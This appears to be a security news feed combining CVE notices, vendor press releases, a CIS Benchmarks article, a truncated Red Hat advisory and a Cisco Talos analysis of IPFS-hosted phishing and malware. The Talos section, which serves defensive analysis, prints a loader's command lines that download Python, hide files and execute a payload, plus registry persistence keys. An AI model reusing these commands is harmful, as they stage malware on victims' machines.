A leftover debug code vulnerability exists in the console infct functionality of InHand Networks InRouter302 V3.5.45. A specially-crafted series of network requests can lead to execution of privileged operations. An attacker can send a sequence of requests to trigger this vulnerability.

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CVE-2022-30543

An out-of-bounds write vulnerability exists in the PICT parsing pctwread_14841 functionality of Accusoft ImageGear 20.0. A specially-crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2022-32588: TALOS-2022-1544 || Cisco Talos Intelligence Group

Teleport releases its second annual State of Infrastructure Access and Security report.

**OAKLAND, Calif., Nov. 9, 2022 /PRNewswire/** — Teleport, the leader in identity-native infrastructure access, today revealed its second annual State of Infrastructure Access and Security Report (PDF). The research seeks to uncover the specific challenges facing DevOps, security engineering and other security professionals. The survey found access built on secrets continues to represent the status quo, as 80% of respondents are still using passwords as a top security method. Concerningly, less than a quarter (24%) of respondents are fully confident that ex-employees no longer have access to company infrastructure.

The report offers a representative sample of the common beliefs and observations shared by industry professionals, as well as the actions they take to keep their organizations safe. Key findings include:

*   **Infrastructure is becoming more complex — with no signs of slowing down:** Organizations use on average 5.7 different tools to manage access policy, making it complicated and time-consuming to completely shut off access.
*   **Even the best-laid plans fall victim to complexity or apathy:** More than half (57%) of respondents said their organization has implemented new security methods that failed to be adopted by employees.
*   **Security spending is on the rise:** Even amid the ongoing inflation crisis, 85% of respondents say their security spending increased within the last 12 months.

"The 2022 Infrastructure Access and Security Report definitively shows that DevOps, security engineering and other security professionals understand the challenges they face, as well as the most effective tools for securing their infrastructure," said Ev Kontsevoy, CEO of Teleport. "But while the vision is clear, execution continues to lag behind."

**Infrastructure is only becoming more complex**

One year ago, the 2021 State of Infrastructure Access and Security Report highlighted the incredible complexity of technology architectures. While 77% of respondents said that moving to passwordless access was Important or Very Important, this year's survey reveals that number of respondents using passwords to grant access to infrastructure increased by 10% year over year, from 70% in 2021 to 80% in 2022.

**Crises of confidence and clarity**

When asked how confident they were that employees who leave the company can no longer use secrets to access company infrastructure, less than a quarter of respondents reported being 100% confident that the access had been revoked. Strikingly, nearly half of organizations are less than 50% confident that former employees no longer have access to infrastructure. This lack of confidence is trending in the wrong direction: the share of respondents with less than 50% confidence increased by 55% year over year.

The report found that respondents recognize the need to move toward passwordless access, and the share of those who view this shift as important increased over the last 12 months. Compared with 77% in 2021, 87% of respondents to this year's survey said moving towards a passwordless infrastructure is important or very important. This priority is reflected in company initiatives: 77% of respondents have an active initiative to move towards passwordless access; and 78% of respondents have an active initiative to move to biometric authentication, the most effective tool for establishing human identity for secure access.

While adoption of biometric authentication is promising — more than half (55%) of respondents already use biometrics in their systems — there are still significant barriers to widespread adoption. Notably, 62% of respondents cited privacy concerns as a leading challenge when replacing passwords with biometric authentication, while 55% pointed to a lack of devices capable of biometric authentication.

"With architectures growing in complexity, coupled with the rising number of threats and bad actors, DevOps and security engineering leaders cannot afford to delay any longer in turning their plans into actions," said Kontsevoy. "Secretless, identity-based infrastructure access is the only way forward."

**Methodology**

The 2022 Infrastructure Access and Security Report survey was based on a representative sample of DevOps, Security Engineering, and other security professionals with knowledge about how their company manages access to infrastructure. A total of 500 respondents completed the survey, which was conducted by Schlesinger Group, an independent research company.

The Teleport Infrastructure Access and Security report is available today and can be found here (PDF).  

**About Teleport**

Teleport is the first identity-native infrastructure access platform for engineers and machines. By replacing insecure secrets with true identity, Teleport delivers phishing-proof zero trust for every engineer and service connected to your global infrastructure. The open source Teleport Access Platform provides a frictionless developer experience and a single source of truth for infrastructure access. Teleport is used by leading companies including Elastic, Samsung, NASDAQ, and IBM. The company is backed by Bessemer Venture Partners, Insight Partners and Kleiner Perkins. Headquartered in Oakland, California, the company embraces a remote-first work culture. For more information, please visit goteleport.com.

**SOURCE:** Teleport

Research Finds Less Than a Quarter of Organizations Fully Confident Ex-Employees No Longer Have Access to Company Infrastructure

The market growth is driven by the convergence of IT and OT systems. By region, North America is estimated to account for the largest market size during the forecast period.

**CHICAGO, Nov. 9, 2022 /PRNewswire/** \-- The Global Industrial Control Systems (ICS) Security Market is projected to grow from USD 16.7 billion in 2022 to USD 23.7 billion by 2027, at a Compound Annual Growth Rate (CAGR) of 7.2% from 2022 to 2027, according to a new report by MarketsandMarkets™**.** The market growth is driven by the convergence of IT and OT systems.

**Download PDF Brochure:** https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=1273

**By security type, network security to grow at the highest CAGR during the forecast period**

Network security is the technique of securing networks from advanced threats. Network security comprises ICS security services that provide security to various networking assets and resources used for managing critical infrastructure. It consists of multiple components, such as security software and appliances, which work together to provide network security. Sophisticated threats, such as sophisticated malware and other attacks, such as Advanced Persistent Threats (APTs), negatively impact the ICS ecosystem by evading network defenses and targeting vulnerabilities in the computing system. Organizations adopt ICS security services to prevent unauthorized access and the misuse of networking resources.

**Speak To Our Analyst:** https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=1273

**By Region, North America is estimated to account for the largest market size during the forecast period**

North America has been at the forefront of the adoption of ICS security solutions in lieu of the rising number of cyberattacks on critical infrastructure. ICS security solutions are being widely used in a variety of industries, particularly manufacturing, chemicals, energy, and utilities. This region has also been extremely responsive toward the latest technological advancements, such as the integration of cloud and IoT with ICS security solutions, to establish a holistic secure access mechanism and enforce a security governance framework. With the growing awareness of ICS security among small and medium-sized businesses and the widespread use of data-driven methods in manufacturing operations, the adoption of emerging technologies opens the door to the substantial market share held by the North American region. Public-Private Partnerships (PPP) and international collaborations have led to effective ICS security and resilience in the region.

**Key Players:**

Major vendors in the global **Industrial Control Systems (ICS) Security Market** include Cisco (US), ABB (Switzerland), Lockheed Martin (US), Fortinet (US), Honeywell (US), Palo Alto Networks (US), BAE Systems (UK), Raytheon (US), Trellix (US), Darktrace (UK), Check Point (US and Israel), Kaspersky Labs (Russia), Airbus (France), Belden (US), Sophos (US), CyberArk (US), Claroty (US), Dragos (US), Nozomi Network (US), Cyberbit (Israel), Forescout (US), Radiflow (Israel), Verve Industrial Protection (US), Applied Security (Netherland), and Positive Technology (Russia).

**Browse Adjacent Markets:**

**Information Security Market Research Reports & Consulting**

**Digital Signature Market** - Global Forecast to 2027

**Cyber Security Market** - Global Forecast to 2027

**Anti-Money Laundering Solution Market** - Global Forecast to 2027

**Multi-Factor Authentication Market** - Global Forecast to 2027

**Zero-Trust Security Market** - Global Forecast to 2027

**About MarketsandMarkets™**

MarketsandMarkets™ provides quantified B2B research on 30,000 high -growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7,500 customers worldwide, including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets™ for their painpoints around revenues decisions.

Our 850 full-time analysts and SMEs at MarketsandMarkets™ are tracking global high-growth markets following the "Growth Engagement Model – GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets™ now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets™ is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve.

MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets.

Research Insight: https://www.marketsandmarkets.com/ResearchInsight/industrial-control-systems-security-ics-market.asp

**SOURCE:** MarketsandMarkets

Industrial Control Systems (ICS) Security Market Worth $23.7B by 2027, Report Says

The InterPlanetary File System (IPFS) is an emerging Web3 technology that is currently seeing widespread abuse by threat actors.
Cisco Talos has observed multiple ongoing campaigns that leverage the IPFS network to host their malware payloads and phishing kit infrastructure while facilitating other attacks.
IPFS is often used for legitimate

*   The InterPlanetary File System (IPFS) is an emerging Web3 technology that is currently seeing widespread abuse by threat actors.
*   Cisco Talos has observed multiple ongoing campaigns that leverage the IPFS network to host their malware payloads and phishing kit infrastructure while facilitating other attacks.
*   IPFS is often used for legitimate purposes, which makes it more difficult for security teams to differentiate between benign and malicious IPFS activity in their networks.
*   Multiple malware families are currently being hosted within IPFS and retrieved during the initial stages of malware attacks.
*   Organizations should become familiar with these new technologies and how they are being leveraged by threat actors to defend against new techniques that use them.

The emergence of new Web3 technologies in recent years has resulted in drastic changes to the way content is hosted and accessed on the internet. Many of these technologies are focused on circumventing censorship and decentralizing control of large portions of the content and infrastructure people use and access on a regular basis. While these technologies have legitimate uses in a variety of practical applications, they also create opportunities for adversaries to take advantage of them within their phishing and malware distribution campaigns. Over the past few years, Talos has observed an increase in the number of cybercriminals taking advantage of technologies like the InterPlanetary File System (IPFS) to facilitate the hosting of malicious content as they provide the equivalent of “bulletproof hosting” and are extremely resilient to attempts to moderate the content stored there.

**What is the InterPlanetary File System (IPFS)?**

The InterPlanetary File System (IPFS) is a Web3 technology designed to enable decentralized storage of resources on the internet. When content is stored on the IPFS network, it is mirrored across many systems that participate in the network, so that when one of these systems is unavailable, other systems can service requests for this content.

IPFS stores different types of data, such as the images associated with NFTs, resources used to render web pages, or files that can be accessed by internet users. IPFS was designed to be resilient against content censorship, meaning that it is not possible to effectively remove content from within the IPFS network once it’s stored there.

**IPFS gateways**

Users that wish to access content stored within IPFS can do so either using an IPFS client, such as the one provided here, or they can make use of “IPFS Gateways” which effectively sit between the internet and the IPFS network to allow clients to access content hosted on the network. This functionality is similar to what Tor2web gateways provide to access contents within the Tor network without requiring a client installation.

Anyone can set up an IPFS gateway using a range of publicly available tools. This screenshot shows several of the public IPFS gateways accessible across the internet.

It is simple to store new content within IPFS and once there, the content is resilient against takedowns, making it increasingly attractive to a variety of attackers for hosting phishing pages, malware payloads and other malicious content.

When systems use IPFS gateways to access contents stored on the IPFS network, they typically rely on the same HTTP/HTTPS-based communications used to access other websites on the internet. IPFS gateways can be configured to handle incoming requests in a few different ways. In some implementations, the subdomain specified in the HTTP request is often used to locate the requested resource on the IPFS network as shown in the following example, which is a mirrored copy of Wikipedia hosted on the IPFS network. The IPFS identifier, or CID, for the resource is highlighted below.

hxxps\[:\]//**bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze\[**.\]ipfs\[.\]infura-ipfs\[.\]io

In other implementations, the IPFS resource location is appended to the end of the URL being requested, as shown in the following example:

hxxps\[:\]//ipfs\[.\]io/ipfs/**bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze**

There are other methods for handling requests using DNS entries, as well. The specific implementation varies across IPFS gateways. Browsers have even begun implementing native support for the IPFS network, removing the need to use IPFS gateways in some cases.

**IPFS use in phishing campaigns**

IPFS is currently being leveraged to host phishing kits, which are the websites that phishing campaigns typically use to collect and harvest credentials from unsuspecting victims. In one example, the victim received a PDF that purports to be associated with the DocuSign document-signing service. A screenshot of one such PDF is shown below.

When the victim clicks on the “Review Document” link, they are redirected to a page made to appear as if it is a Microsoft authentication page. However, the page is actually being hosted on the IPFS network.

The user is prompted to enter an email address and password. This information is then transmitted to the attacker via an HTTP POST request to an attacker-controlled web server where it can be collected and processed for use in further attacks.

We’ve observed several similar examples in phishing campaigns over the past year, as adversaries recognize the content moderation challenges associated with hosting their phishing kits on the IPFS network. In this case, the PDF hyperlink was pointing to an IPFS gateway that moderated the content to protect potential victims and displayed the following message to victims attempting to navigate to it.

However, the content is still present within the IPFS network and simply changing the IPFS gateway being used to retrieve the content confirms this is the case.

**IPFS use in malware campaigns**

There are a variety of threat actors currently leveraging technologies like IPFS in their malware distribution campaigns. It provides low-cost storage for malicious payloads while offering resilience against content moderation, effectively acting as “bulletproof hosting” for adversaries. Likewise, the use of common IPFS gateways for accessing the malicious contents hosted within the IPFS network makes it more difficult for organizations to block access when compared to the use of malicious domains for content retrieval. We have observed various samples in the wild that are currently leveraging IPFS.

Throughout 2022, we’ve observed the volume of samples in the wild continuing to increase as this becomes a more popular hosting method for adversaries. Below is a graphic showing the increase in the number of unique samples relying on IPFS that have been uploaded to public sample repositories.

**Agent Tesla malspam campaign**

We’ve observed ongoing malspam campaigns leveraging IPFS throughout the infection process to eventually retrieve a malware payload. In one example, the email sent to victims purports to be from a Turkish financial institution and claims to be associated with SWIFT payments, a commonly used system for international monetary transactions.

The email contains a ZIP attachment that holds a PE32 executable. The executable, written in .NET, functions as a downloader for the next stage of the infection chain. When executed, the downloader reaches out to an IPFS gateway to retrieve a blob of data that has been hosted within the IPFS network as shown below.

This data contains an obfuscated PE32 executable that functions as the next-stage malware payload. The downloader takes the data from the IPFS gateway and stores each byte in an array. It then uses a key value stored in the executable to convert the byte array into the next-stage PE32.

This is then reflectively loaded and executed, launching the next stage of the infection process, which in this case is a remote access trojan (RAT) called Agent Tesla.

In another example, we observed a variety of malware payloads being uploaded to public sample repositories over a period of several months. We identified three distinct clusters of malware that were likely being created by the same threat actor. Code-level issues suggest that many of the samples were currently undergoing active development while being uploaded, possibly to test detection capabilities.

In all three clusters, the initial payload functioned as a loader and operated similarly, however, the final payload hosted on the IPFS network was different in each cluster. The final payloads we observed included a Python-based information stealer, reverse shell payloads that were likely generated using msfvenom, and a batch file designed to destroy victim systems.

**Initial loader**

The loader used in all of these cases functioned similarly, sometimes hosted on the Discord content delivery network (CDN), a practice that has become increasingly common with malware distributors as previously described here. The file names used indicate that they may have been spread under the guise of cheats and cracks for video games such as “Minecraft.” In most cases, the loader was not packed, but we did observe samples packed using UPX.

When executed, the loader first creates a directory structure within %APPDATA% using the following command:

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft && mkdir Network

The malware then attempts to retrieve Python 3.10 from the legitimate software provider using the cURL command.

This is notable, as the choice to directly leverage cURL may significantly reduce the number of potential victims, as it was not added to Windows as a native command line utility until Windows 11. The command line syntax used to initiate the download is shown below.

C:\Windows\system32\cmd.exe /c curl https://www.python.org/ftp/python/3.10.4/python-3.10.4-embed-amd64.zip -o %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

Once the ZIP archive has been retrieved, it is then unzipped into the directory that was previously created using the PowerShell “Expand-Archive” cmdlet.

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell Expand-Archive python-3.10.4-embed-amd64.zip -DestinationPath %appdata%\Microsoft\Network

The malware then attempts to retrieve the final payload in the infection chain, storing it within the Network directory using the filename “Packages.txt.” An example of the loader retrieving Hannabi Grabber, an information stealer written in Python is shown below.

The loader then uses the attrib.exe utility to set the System and Hidden flags on the previously created directory as well as the Python ZIP archive and final payload that was retrieved.

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\Packages.txt

Finally, the loader invokes the newly downloaded Python executable and passes the final payload as a command line argument, executing the next stage of the infection process.

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && python.exe Packages.txt

In some cases, the malware was also observed achieving persistence via adding entries into the Windows registry at the following locations:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon  
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

During our analysis of samples associated with this loader, we observed that the IPFS gateway that was being used was no longer servicing requests, however, Talos obtained the next-stage payloads manually via another IPFS gateways for analysis.

**Reverse shell**

In one of the clusters leveraging this loader, we observed that the payload being hosted within the IPFS network was a Python script containing a large base64 encoded blob along with the Python code responsible for decoding the base64. Note that the following screenshot was redacted for space, as the base64-encoded blob was rather large.

The base64 contained several layers of base64 encoded blobs, each wrapped in Python code responsible for decoding them. After decoding all of the layers, the following is the deobfuscated reverse shell payload.

At the time of analysis, the C2 server was no longer servicing requests on TCP/4444.

**Destructive Malware**

In another cluster we analyzed, we observed that the final payload hosted within IPFS was a Windows batch file, as shown below:

When the batch file is retrieved, it is stored within the Network directory using the filename “Script.bat.”

This batch file is responsible for the following destructive behavior:

*   Deleting volume shadow copies on the system.
*   Deleting directory contents stored within C:\\Users (typically associated with user profiles).
*   Iterating through all mounted filesystems present on the system and deleting contents stored on them.

Fortunately for victims, in the samples analyzed the loader incorrectly attempts to invoke the batch file as shown below.

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell -Command start script.bat -Verb RunAs

**Hannabi Grabber**

The final cluster of malware associated with this loader is responsible for retrieving and executing a Python-based information stealer called Hannabi Grabber. In the samples we analyzed, the Python version retrieved does not natively contain the modules required for the script to successfully execute causing the infection process to fail, however, given the volume of features present in the stealer, we analyzed it to confirm detection capabilities in the case that it is distributed via different mechanisms.

Hannabi Grabber is a full-featured information stealer written in Python. It leverages Discord Webhooks for C2 and data exfiltration. It currently features support for stealing information from a variety of applications that may be present on victim systems. It collects survey information from the infected machine, obtains the geographic location of the system via the IPInfo service, takes screenshots and eventually transmits that data to an attacker-controlled Discord server in JSON format.

Below is a listing of many of the various applications the stealer supports.

In addition to the previously listed applications, the malware also supports retrieving password and cookie data from Chrome, as shown below.

Similar functionality also exists to target Mozilla Firefox browser data that may be present on the system.

The information stealer is particularly interested in Discord and Roblox data. It features several mechanisms that check for the existence of Discord Token Protectors such as DiscordTokenProtector, BetterDiscord and more. If discovered, the malware will attempt to bypass them to obtain Discord tokens from the victim. An example of one of these checks is shown below.

Application data that is collected is stored within a directory structure inside of the %TEMP% directory, in a folder called “RedDiscord” that is created by the malware. Before exfiltrating the data, the malware creates a ZIP archive within the RedDiscord directory called “Hannabi-<USERNAME>.zip.” The malware first transmits beacon information and will then attempt to exfiltrate the newly created ZIP archive.

Hannabi Grabber has a significant amount of functionality that is common to information-stealing malware. Typically, attackers will attempt to leverage PyInstaller or Py2EXE to compile their Python into a PE32 file format prior to distributing it to victims. This is a case where instead, the attacker chose to include a Python installation process during the infection and is leveraging Python directly to steal sensitive information from victims.

**Conclusion**

Many new Web3 technologies have emerged recently, attempting to provide valuable functionality to users. As these technologies have continued to see increased adoption for legitimate purposes, they have begun to be leveraged by adversaries as well. We have continued to observe an increase in the volume of malware and phishing campaigns that are taking advantage of technologies like IPFS for the purposes of hosting malicious components used in malware infections, phishing kits used to collect sensitive authentication data and more.

We expect this activity to continue to increase as more threat actors recognize that IPFS can be used to facilitate bulletproof hosting, is resilient against content moderation and law enforcement activities, and introduces problems for organizations attempting to detect and defend against attacks that may leverage the IPFS network. Organizations should be aware of how these newly emerging technologies are being actively used across the threat landscape and evaluate how to best implement security controls to prevent or detect successful attacks in their environments.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort SIDs are applicable to this threat: 60728.

The following ClamAV signatures are applicable to this threat:

*   Win.Trojan.AgentTesla-9974905-1
*   Pdf.Phishing.Agent-9974919-0
*   Txt.Malware.ArtifactDeletion-9974896-0
*   Win.Trojan.AgentTesla-9974906-0
*   Win.Downloader.ReverseShell-9974652-1
*   Win.Loader.Hannabi-9974435-0
*   Win.Trojan.Hannabi\_Grabber-9974436-0
*   Py.Malware.ReverseShell-9974437-0

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click here

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns

The CIS Benchmarks are unique for many reasons. None compare to the community consensus process that forms their hardening guidance. Learn how to get involved.

The Center for Internet Security (CIS) recently celebrated 20 years of bringing confidence to the connected world with consensus-based security guidance. The first CIS Benchmark was released in 2000.

Today, there are more than 100 CIS Benchmarks configuration guidelines across 25+ product vendor families. Without community participation, we would not have CIS Benchmarks, as the community is at the heart of what drives development and consensus across industries and technologies.

**What Is a CIS Benchmark?**

CIS Benchmarks cover operating systems, servers, cloud, mobile devices, desktop software, and network devices. The PDF versions are available to download at no cost from the CIS website, and additional file formats (XCCDF, Word, Excel, etc.) are available to CIS SecureSuite Members.

CIS Benchmarks are unique in the following ways:

*   Developed through a community consensus process
*   Provide vendor-neutral, technology-specific recommendations
*   Provide the necessary steps to configure a system
*   Recognized as an industry standard and referenced specifically by PCI DSS, FISMA, and more, as a way to be compliant with those standards
*   Map to the CIS Controls

Download CIS Benchmarks.

Although a number of factors have led the CIS Benchmarks to be trusted guidelines for a variety of industries, the way they are developed is also important. The CIS Benchmarks are created through a unique community consensus process on CIS WorkBench, our development platform.

**Guidance Driven by Community Consensus**

The CIS Benchmarks Communities on CIS WorkBench are open to anyone who wants to contribute to the development of Benchmark best practices. The communities are made up of subject-matter experts, vendors, technical writers, and CIS SecureSuite Members from around the world. Together with CIS, these volunteers develop, review, and maintain the CIS Benchmarks. Each community brings real-world experience and expertise to the process to ensure we are addressing the most prevalent security for various technologies.

CIS team members and volunteer subject-matter experts (SMEs) are key to creating the initial content, which is the foundation for the continued development and publication of the CIS Benchmark. Technical writers, testers, and contributors all play a role in the process, reviewing recommendations and determining the best solutions through discussions. Vendors are also welcome to participate.

Learn more about volunteer roles.

**Why You Should Get Involved**

Volunteers have the opportunity to be part of a large network of professionals and help shape security. Those who make significant contributions are recognized in the final published CIS Benchmark document.

**The CIS Benchmark Development Process**

CIS depends on our community and partners to assist in developing and maintaining the CIS Benchmarks. Using CIS WorkBench, tickets and discussion threads are established to continue dialogue until a consensus has been reached on proposed recommendations and the working drafts.

The typical development process:

1.  The initial development process defines the scope of the Benchmark and subject-matter experts begin the discussion, creation, and testing process of working drafts.
2.  After the initial draft is completed, we announce availability of the draft and invite folks to join the community to review, test, and provide feedback. This is the consensus process.
3.  All of the feedback that’s received is reviewed by the CIS lead for the community along with the subject-matter experts. They discuss and adjust the CIS Benchmark as necessary. This ensures the recommendations are complete and represent comprehensive guidance.
4.  Once all feedback has been reviewed and addressed, CIS makes a final call for participation in the community. The final review period lasts an average of two weeks, allowing for a final review of the CIS Benchmark before publishing.
5.  Any final feedback is addressed.
6.  Once consensus has been reached in the CIS Benchmark community, the final CIS Benchmark is published and made publicly available online.

    

**Join a Community Today!**

Why not join the CIS Benchmarks Community and lend your expertise?

Learn more here.

The CIS Benchmarks Community Consensus Process

Nonce token leakage and missing authorization in SearchWP premium plugin <= 4.2.5 on WordPress leading to plugin settings change.

CVE-2022-40223: Changelog (v4) - SearchWP

Cross-Site Request Forgery (CSRF) vulnerability in Advanced Dynamic Pricing for WooCommerce plugin <= 4.1.5 on WordPress leading to plugin settings import.

CVE-2022-43491: Advanced Dynamic Pricing for WooCommerce

Red Hat Security Advisory 2022-7692-01 - XML-RPC is a remote procedure call protocol that uses XML to encode its calls and HTTP as a transport mechanism. The xmlrpc-c packages provide a network protocol to allow a client program to make a simple RPC over the Internet. It converts an RPC into an XML document, sends it to a remote server using HTTP, and gets back the response in XML. Issues addressed include an integer overflow vulnerability.

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====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: xmlrpc-c security update  
Advisory ID:       RHSA-2022:7692-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:7692  
Issue date:        2022-11-08  
CVE Names:         CVE-2021-46143 CVE-2022-22822 CVE-2022-22823  
                   CVE-2022-22824 CVE-2022-22825 CVE-2022-22826  
                   CVE-2022-22827  
====================================================================  
1. Summary:

An update for xmlrpc-c is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat CodeReady Linux Builder (v. 8) - aarch64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux BaseOS (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

XML-RPC is a remote procedure call (RPC) protocol that uses XML to encode  
its calls and HTTP as a transport mechanism. The xmlrpc-c packages provide  
a network protocol to allow a client program to make a simple RPC (remote  
procedure call) over the Internet. It converts an RPC into an XML document,  
sends it to a remote server using HTTP, and gets back the response in XML.

Security Fix(es):

* expat: Integer overflow in doProlog in xmlparse.c (CVE-2021-46143)

* expat: Integer overflow in addBinding in xmlparse.c (CVE-2022-22822)

* expat: Integer overflow in build_model in xmlparse.c (CVE-2022-22823)

* expat: Integer overflow in defineAttribute in xmlparse.c (CVE-2022-22824)

* expat: Integer overflow in lookup in xmlparse.c (CVE-2022-22825)

* expat: Integer overflow in nextScaffoldPart in xmlparse.c  
(CVE-2022-22826)

* expat: Integer overflow in storeAtts in xmlparse.c (CVE-2022-22827)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Red Hat  
Enterprise Linux 8.7 Release Notes linked from the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2044455 - CVE-2021-46143 expat: Integer overflow in doProlog in xmlparse.c  
2044457 - CVE-2022-22822 expat: Integer overflow in addBinding in xmlparse.c  
2044464 - CVE-2022-22823 expat: Integer overflow in build_model in xmlparse.c  
2044467 - CVE-2022-22824 expat: Integer overflow in defineAttribute in xmlparse.c  
2044479 - CVE-2022-22825 expat: Integer overflow in lookup in xmlparse.c  
2044484 - CVE-2022-22826 expat: Integer overflow in nextScaffoldPart in xmlparse.c  
2044488 - CVE-2022-22827 expat: Integer overflow in storeAtts in xmlparse.c

6. Package List:

Red Hat Enterprise Linux BaseOS (v. 8):

Source:  
xmlrpc-c-1.51.0-8.el8.src.rpm

aarch64:  
xmlrpc-c-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-client-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.aarch64.rpm

ppc64le:  
xmlrpc-c-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-client-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.ppc64le.rpm

s390x:  
xmlrpc-c-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-client-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.s390x.rpm

x86_64:  
xmlrpc-c-1.51.0-8.el8.i686.rpm  
xmlrpc-c-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-client-1.51.0-8.el8.i686.rpm  
xmlrpc-c-client-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.i686.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.x86_64.rpm

Red Hat CodeReady Linux Builder (v. 8):

aarch64:  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-c++-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-client++-1.51.0-8.el8.aarch64.rpm  
